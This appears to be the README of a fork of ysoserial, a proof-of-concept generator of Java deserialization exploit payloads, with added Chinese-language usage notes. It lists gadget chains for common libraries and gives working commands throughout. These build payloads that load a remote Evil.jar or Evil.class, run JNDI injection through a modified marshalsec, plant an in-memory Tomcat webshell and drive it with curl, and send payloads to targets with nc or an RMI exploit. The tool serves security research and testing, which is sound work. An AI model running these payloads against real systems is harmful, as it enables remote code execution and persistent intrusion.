A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
例：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CMD '/bin/bash' '-c' '/System/Applications/Calculator.app/Contents/MacOS/Calculator'
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JAR 'http://xxx.xxx.xxx:8080/Evil.jar'
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CODEBASE 'http://xxx.xxx.xxx:8080:Evil.class'
生成的ser文件会在当前目录的out_ser目录下，若是JNDI注入攻击，建议配合我fork并魔改过的marshalsec进行FUZZ，参考：https://github.com/threedr3am/marshalsec
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1#Evil.class /tmp/out_ser
当使用序列化gadget攻击jdk8u191+的服务时，上面的http://127.0.0.1#Evil.class随意填写，起作用得是目录/tmp/out_ser下的payload，会遍历进行发送，若是jdk8u191-，那就使用codebase直接打
例：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
CommonsCollections11ForTomcatEchoInject > echo.payload
然后使用上述得到的恶意序列化数据 echo.payload 攻击一遍，然后再继续下面的操作
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
CommonsCollections11ForTomcatShellInject > shell.payload
使用恶意序列化数据 shell.payload 再攻击一遍，就能得到一个内存级的webshell，任意路径，参数threedram为命令
curl http://127.0.0.1:8080/aaa\?threedr3am\=ls%20/
Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
$ java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
Available payload types:
Payload Authors Dependencies
------- ------- ------------
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
0000570: 0078 7071 007e 003a .xpq.~.:
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe- Download the latest jar from
JitPack
Note that GitHub-hosted releases were removed in compliance with the GitHub Community Guidelines
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
- Fork it
- Create your feature branch (
git checkout -b my-new-feature) - Commit your changes (
git commit -am 'Add some feature') - Push to the branch (
git push origin my-new-feature) - Create new Pull Request
- Java-Deserialization-Cheat-Sheet: info on vulnerabilities, tools, blogs/write-ups, etc.
- marshalsec: similar project for various Java deserialization formats/libraries
- ysoserial.net: similar project for .NET deserialization